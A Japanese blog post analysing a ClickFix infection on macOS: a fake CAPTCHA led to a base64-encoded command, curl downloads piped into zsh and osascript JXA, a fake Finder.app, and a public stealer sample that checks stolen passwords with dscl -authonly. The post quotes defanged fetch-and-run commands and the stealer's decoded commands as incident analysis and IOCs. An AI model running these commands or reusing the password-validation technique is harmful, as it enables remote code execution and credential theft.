1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

ClickFixを踏んでしまったので、macOS上で何が起きたのか解析した

1
Posted at

ClickFix を踏んでしまいました。

Webページ上の偽CAPTCHAからTerminalを開かされ、表示されたコマンドを貼り付けて実行するタイプのものです。

気付いた時点ではすでに、macOS上で Finderを装った不審なアプリケーション がバックグラウンド実行されていました。

ということで、せっかくなので削除して終わりにするのではなく、

「実際に自分のMac上で何が起きていたのか」

をできる限り追ってみることにしました。

シェル履歴、macOS Unified Log、TCC、Mach-O、コード署名などを調査し、その後は比較のために公開されているmacOS Stealerサンプルも静的解析しています。

先に重要な点を書いておくと、実際に自分のMacで動いていたマルウェア本体は途中で削除してしまいました。

そのため、

  • 実際の感染端末から確認できた事実
  • 後から解析した公開サンプルで確認できた挙動

は、この記事では明確に分けて扱います。

公開サンプルと実感染バイナリが同一であることは確認できていません。

TL;DR

今回確認できた感染チェーンは、おおよそ次のようなものでした。

cloudflareの偽CAPTCHA(ClickFix)
        ↓
Terminalへコマンドを貼り付け
        ↓
curl
        ↓
JXA (osascript -l JavaScript)
        ↓
偽 Finder.app
        ↓
Universal Mach-O
        ↓
バックグラウンド実行
        ↓
macOSの保護データへのアクセス要求

さらに比較用の公開macOS Stealerサンプルを静的解析すると、

killall Terminal
system_profiler
$HOME/.hlpr/.pass
getuid / getpwuid
dscl . -authonly
User Password.txt

といった処理が確認できました。

特に興味深かったのは、

パスワード候補を取得
        ↓
現在のmacOSユーザー名を取得
        ↓
dscl . -authonly
        ↓
macOS自身にパスワードが正しいか検証させる
        ↓
認証成功した値を保存

という処理です。

1. 始まりはClickFixだった

シェル履歴を確認すると、不審なコマンドが残っていました。

一部を伏せています。

_9d5a=731a42e4e294;eval "$(printf '%s' 'BASE64...'|base64 -d)"

Base64をデコードすると、最初の処理は次のようなものでした。

_xr=$(curl -s 'hxxp://browseid[.]codes/p/...')

if [ "$_xr" = "ok" ]; then
    echo 'BASE64...' | base64 -d | zsh
fi

さらに次のBase64をデコードすると、

curl -sf hxxps://update-notif[.]com/... | osascript -l JavaScript

となりました。

つまり、

Terminal
   ↓
外部サーバへHTTPアクセス
   ↓
レスポンスが "ok"
   ↓
次のコマンドを実行
   ↓
JavaScriptを取得
   ↓
osascript -l JavaScript

という多段構造です。

osascript はAppleScriptだけでなく、JavaScript for Automation、いわゆる JXA も実行できます。

ClickFixによって最初のshellを実行させ、その後の処理をJXAへ引き渡していました。

JXA(JavaScript for Automation)は、macOS上でJavaScriptからApple Eventsや各種アプリケーションを操作するための仕組みです。
たとえばFinderの操作、ファイル処理、アプリケーションの起動、シェルコマンドの実行などを自動化できます。
攻撃者側から見ると、JXAを使うことで「単純なshellコマンド」だけではなく、macOS標準の自動化機能を利用して後続処理を実装できます。
つまり、ClickFixで最初のコマンド実行に成功したあと、JXAへ処理を渡すことで、より柔軟にファイル配置やアプリ起動、次のペイロード実行へつなげられます。

2. 偽のFinder.appが存在していた

分析すると、次のディレクトリに不審なアプリケーションが存在していました。

~/Library/Caches/com.apple.finder/Finder.app

名前は Finder.app ですが、もちろん本物のFinderではありません。

Info.plist を確認すると、

CFBundleDisplayName = Finder
CFBundleExecutable  = 4F1FB2FB
CFBundleIdentifier  = apple.finder.data
CFBundleName        = Finder
LSBackgroundOnly    = true
LSUIElement         = true

となっていました。

特に、

LSBackgroundOnly = true
LSUIElement      = true

が設定されているため、通常のGUIアプリとしてユーザーに見せるよりも、バックグラウンドで動作することを想定した構成です。

実際に、

Finder.app/Contents/MacOS/4F1FB2FB

がプロセスとして動作していることも確認できました。

配置場所が、

~/Library/Caches/com.apple.finder/

である点も不自然です。

Finder.app/
└── Contents/
    ├── Info.plist
    ├── MacOS/
    │   └── 4F1FB2FB
    └── Resources/
        └── AppIcon.icns

3. 実行ファイルはUniversal Mach-Oだった

削除前に取得できた情報では、実行ファイルは、

Mach-O universal binary

x86_64
arm64

のUniversal Binaryでした。

つまり、Intel MacとApple Siliconの両方で動作できる構成です。

コード署名情報は、

Signature=adhoc
TeamIdentifier=not set

でした。

正規のApple Developer Team IDを持つ署名ではなく、ad-hoc署名です。

もちろん、

ad-hoc署名だからマルウェア

ということではありません。

ただ今回の場合、

Finderを偽装
Library/Caches配下
ランダム風の実行ファイル名
ad-hoc署名
TeamIdentifierなし

という条件が重なっています。

ファイルのSHA-256も取得できました。

1043c2f533e4502ade5acf1f300a812f3a24ff105af24f10e2342cc87b9bce8b

4. macOSの保護データへアクセスしようとしていた

Unified LogやTCC関連ログを確認すると、不審プロセスから次のイベントが確認できました。

SystemPolicyAllFiles denial
SystemPolicyAppData prompt

つまり、少なくとも macOSの保護対象データへのアクセスを試みていたことが分かります。

自分の場合は権限要求を許可しませんでした。

ただし、

権限要求を拒否した = 何も読まれなかった

とは限りません。

macOSのTCCですべてのユーザーファイルが保護されているわけではなく、通常のユーザー権限でアクセス可能なファイルも多数存在します。

たとえば開発環境では、

~/.aws/
~/.ssh/
.env
.npmrc
各種設定ファイル

などがホームディレクトリに存在することがあります。

もしマルウェアに感染してしまった場合は、関連する認証情報は念のためローテーションした方が良いです。

5. Security / Trust関連処理も大量に発生していた

実行中のログでは、

SecKeyCopyPublicBytes
SecKeychainAddCallback
Trust関連処理

など、Security.framework周辺の活動も確認できました。

ただし、ここは解釈に注意が必要です。

例えば、

SecKeyCopyPublicBytes

が出たからといって、

秘密鍵を盗んだ

という証拠にはなりません。

TLS通信時の証明書検証などでもSecurity.frameworkは利用されます。

今回のログから安全に言えるのは、

マルウェア実行中に、Security / Trust関連の処理が周期的かつ集中的に発生していた

ところまでです。

通信先や送信データまで直接特定することはできませんでした。

6. 最大の失敗:マルウェア本体を消してしまった

調査を始めた段階で、

4F1FB2FB

をすでに削除してしまっていました。利用できるAPFS Snapshotにも対象データはありませんでした。

そのため、

自分のMac上で実際に動いていた 4F1FB2FB の完全な静的解析

はできなくなりました。

これはインシデント対応としては一つの反省点です。
怪しいファイルを見つけても、可能であれば、

隔離
ハッシュ取得
メタデータ保存
安全な場所へコピー

を行ってから削除した方が、後から解析しやすくなります。

7. 公開サンプルを使って静的解析してみる

そこで、比較・学習目的として公開されているmacOS Stealerサンプルを別途入手し、実行せず静的解析だけを行うことにしました。

今回解析したサンプルのSHA-256は、

689797d97d31c3893e2c8a792614262f1fa9e714d646aef46bc4a6371fa59126

です。

こちらも、

x86_64
arm64

のUniversal Mach-Oでした。

CodeDirectoryを直接確認すると、

flags      = CS_ADHOC
hashType   = SHA-256
teamOffset = 0

となっていました。

Identifierには、

macos-stealer-v2-...

という文字列も存在しました。

ただし、CodeDirectoryのIdentifierは作者が自由に設定できるものなので、

この名前だから特定のマルウェアファミリーである

という証明には使えません。

8. stringsでは何も出てこない

最初に strings で、

Chrome
Safari
Cookies
Login Data
Keychain
Wallet
SSH
AWS

などを探してみました。

しかし、目立った文字列がほとんど見つかりません。

最初は、

あまり情報窃取処理がないのでは?

とも思いました。

しかし逆アセンブルを見て理由が分かりました。

重要な文字列がXORで難読化されていました。

strings は、バイナリ中にそのまま埋め込まれている可読文字列を探すだけなので、文字列が暗号化・難読化されていると見つけられません。
そこで次に、otool -tvV を使って Mach-O の命令列を逆アセンブルし、CPUが実際にどんな処理をするのかを追いました。
逆アセンブルとは、機械語を mov、call、xor などのアセンブリ命令として読み直す作業です。
その結果、コード中で定数データをXORした直後に system() や popen() へ渡している箇所が複数見つかりました。
つまり、重要なコマンド文字列は平文で保存されておらず、実行直前にXORで復号することで strings から隠されていたことが分かりました。

9. 隠されていた killall Terminal

_main 周辺を追うと、32byteのデータを2つ用意し、

vxorps
vpxor

でXORした直後、

callq _system

していました。

定数をlittle-endianで並べ、XORすると、

killall Terminal 2>/dev/null

になります。

つまり概念的には、

system("killall Terminal 2>/dev/null");

です。

ClickFixはTerminalを使わせる攻撃なので、非常に興味深い処理です。

ただし、

証拠隠滅のためにTerminalを終了させた

とまでは断定できません。

静的解析から確認できる事実は、

Terminalを終了させるコマンドをXORで隠し、system() で実行する

というところまでです。

Screenshot 2026-10-11 at 22.37.28.png

10. system_profiler でMacの情報を収集

次の難読化文字列を復号すると、

system_profiler \
  SPSoftwareDataType \
  SPHardwareDataType \
  SPDisplaysDataType \
  2>/dev/null

が現れました。

さらに、

popen(command, "r")

で呼び出されていました。

"r" なので、サブプロセスの標準出力を取得しています。

これにより、

macOSの情報
Macのモデル
CPU
メモリ
GPU / Display

などの端末情報を取得できます。

単なるAPI importではなく、実際にコマンドを組み立てて popen() しているところまで静的に確認できました。

11. $HOME/.hlpr という隠しディレクトリ

さらにコードを追うと、

getuid();
getpwuid();

が使われていました。

getpwuid() からホームディレクトリを取得し、

$HOME

を基準にファイル操作を行っています。

XOR文字列を復号すると、

.hlpr

というディレクトリ名が現れました。

コードは、

$HOME/.hlpr/

を作成しています。

さらに、

.hlpr/.pass

というパスも生成されていました。

そのファイルは、

ifstream
   ↓
getline()

によって読み込まれます。

12. 現在のユーザー名を取得

別の場所では、

getuid()
getpwuid()

を使い、現在実行しているユーザーの pw_name を取得していました。

概念的には、

struct passwd *pw = getpwuid(getuid());
username = pw->pw_name;

という処理です。

ここで得られたユーザー名と、先ほど .hlpr/.pass から読み込んだ文字列が次の処理で利用されます。

13. dscl -authonly でパスワードを検証

XORで隠された文字列を復号すると、

dscl . -authonly '<username>' '<candidate>' 2>/dev/null

というコマンドが構築されていました。

実行には、

popen(command, "r")

が使われています。

dscl . -authonly を使うと、macOSのDirectory Serviceへ、

このユーザー名とパスワードの組み合わせで認証できるか

を問い合わせることができます。

つまり、このサンプルは自分でパスワードを解析する必要がありません。

macOS自身にパスワードの正誤を判定させています。

コードではさらに、

pclose()

の戻り値を確認していました。

概念的には、

password candidate
        ↓
dscl -authonly
        ↓
成功?

です。

14. 認証に成功すると User Password.txt へ保存

ここが今回の静的解析で一番強い部分でした。

別のXOR文字列を復号すると、

User Password.txt

というファイル名が現れます。

そして先ほど dscl -authonly に渡したものと同じ候補値を、このファイルへ書き込む処理が存在します。

概念的には、

$HOME/.hlpr/.pass
        ↓
getline()
        ↓
candidate
        ↓
current username
        ↓
dscl . -authonly username candidate
        ↓
認証成功
        ↓
User Password.txt
        ↓
candidateを書き込む

です。

つまり公開サンプルでは、

パスワードらしき値を読む

だけではありません。

取得した候補が実際のmacOSアカウントのパスワードとして正しいか検証し、認証成功した値を収集用ファイルへ保存する

ところまで実装されています。

dscl -authonly を使って、その値が実際のログインパスワードとして有効かをmacOS自身に確認させています。

15. 実際のClickFix感染と公開サンプル解析を分けて整理する

ここまでを整理します。

自分の感染端末で直接確認できたことは、

ClickFix
↓
Terminal
↓
curl
↓
JXA
↓
偽Finder.app
↓
Universal Mach-O
↓
バックグラウンド実行
↓
macOS保護データへのアクセス要求
↓
Security / Trust関連イベント

です。

一方で、比較用に解析した公開Stealerサンプルで確認できたことは、

killall Terminal
↓
system_profilerによる端末情報取得
↓
$HOME/.hlpr
↓
.passから候補値取得
↓
現在ユーザー名取得
↓
dscl -authonly
↓
認証成功確認
↓
User Password.txtへ保存

です。

この2つは混同しないようにする必要があります。

公開サンプルで確認した処理が、そのまま自分のMac上で実行された 4F1FB2FB に存在したとは証明できていません。

16. 何が盗まれたのか?

ここについては、現時点では断定できません。

今回の解析では、

Chrome Cookieを実際に盗んだ
Safariの保存認証情報を盗んだ
Keychainから秘密情報を抜いた
SSH秘密鍵を取得した
AWS認証情報を取得した
C2へ実際に送信した

といったところまでは証明できませんでした。

実感染端末のログからは、保護データへのアクセス要求やTrust関連処理は確認できています。

一方で通信先や送信データそのものを確定する証拠は不足しています。

セキュリティ解析では、

ありそう

と、

確認できた

を分けることがかなり重要だと改めて感じました。

17. 一番興味深かったのは「正規機能」を使っていること

今回解析していて面白かったのは、派手なゼロデイExploitではありません。

使われているのは、

curl
osascript
system_profiler
dscl
getuid
getpwuid

といった、macOSに普通に存在している機能です。

ClickFix自体もそうです。

ブラウザの脆弱性を利用して勝手にコード実行するのではなく、

「この操作をしてください」

と表示して、ユーザー自身にTerminalで実行させます。

さらに、

パスワードが正しいか

という判定すら、

dscl . -authonly

を使ってOS自身に行わせています。

攻撃者からすると、すべての処理を自前で実装する必要がありません。

正規のOS機能を組み合わせるだけでも、十分に危険な処理が成立します。

18. 今回の反省点

今回一番大きかったのは、マルウェア本体を早い段階で削除してしまったことです。

もちろん感染が疑われる状況では、まず被害拡大を止めることが重要です。

ただ、解析まで行いたい場合は、

ネットワーク隔離
↓
プロセス停止
↓
ハッシュ取得
↓
署名・メタデータ取得
↓
安全な場所へサンプル保存
↓
削除

のように、証拠を残してから除去できると後の調査がかなり楽になります。

今回はログがかなり残っていたため一定範囲までは追えましたが、実バイナリが残っていればもっと明確にできたはずです。

まとめ

最初は、

CAPTCHAに従ってTerminalへコマンドを貼り付けてしまった

というだけでした。

しかし実際に追ってみると、

ClickFix
  ↓
shell
  ↓
curl
  ↓
JXA
  ↓
偽Finder
  ↓
Mach-O

という多段の感染チェーンになっていました。

さらに比較用の公開macOS Stealerを静的解析すると、

killall Terminal
system_profiler
$HOME/.hlpr/.pass
getuid / getpwuid
dscl . -authonly
User Password.txt

という具体的な処理まで確認できました。

特に、

候補パスワード
   ↓
macOS自身に認証させる
   ↓
正しかったものだけ保存

という実装は非常に興味深いものでした。

ClickFixは、

「Webサイトに書いてある操作をしただけ」

に見えるところが危険なのだと思います。

Webサイトから、

Terminalを開いてください
PowerShellを開いてください
このコマンドを貼り付けてください
Win+Rを押してください

などと指示された場合は、その時点でかなり警戒した方がよさそうです。

注記

本記事で後半に解析している公開macOS Stealerサンプルは、筆者の端末上で実際に確認された 4F1FB2FB と同一バイナリであることは確認できていません。

そのため、

実感染端末で観測した事実と、公開サンプルから得られた静的解析結果は分けて記載しています。

また、公開サンプルは実行しておらず、file、otool、nm、バイナリダンプ、PythonによるXOR復号などを利用した静的解析のみを行っています。

IOC

実感染時に確認したファイルのSHA-256:

1043c2f533e4502ade5acf1f300a812f3a24ff105af24f10e2342cc87b9bce8b

解析に使用した公開サンプル:

689797d97d31c3893e2c8a792614262f1fa9e714d646aef46bc4a6371fa59126

実感染時に確認した配置:

~/Library/Caches/com.apple.finder/Finder.app

公開サンプルから静的に確認した特徴:

.hlpr
.hlpr/.pass
User Password.txt

killall Terminal 2>/dev/null

system_profiler \
  SPSoftwareDataType \
  SPHardwareDataType \
  SPDisplaysDataType

dscl . -authonly

お疲れ様でした。

わからないところ、間違っているところ、もっといい方法がある場合は、コメントでもDMでも教えてください。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?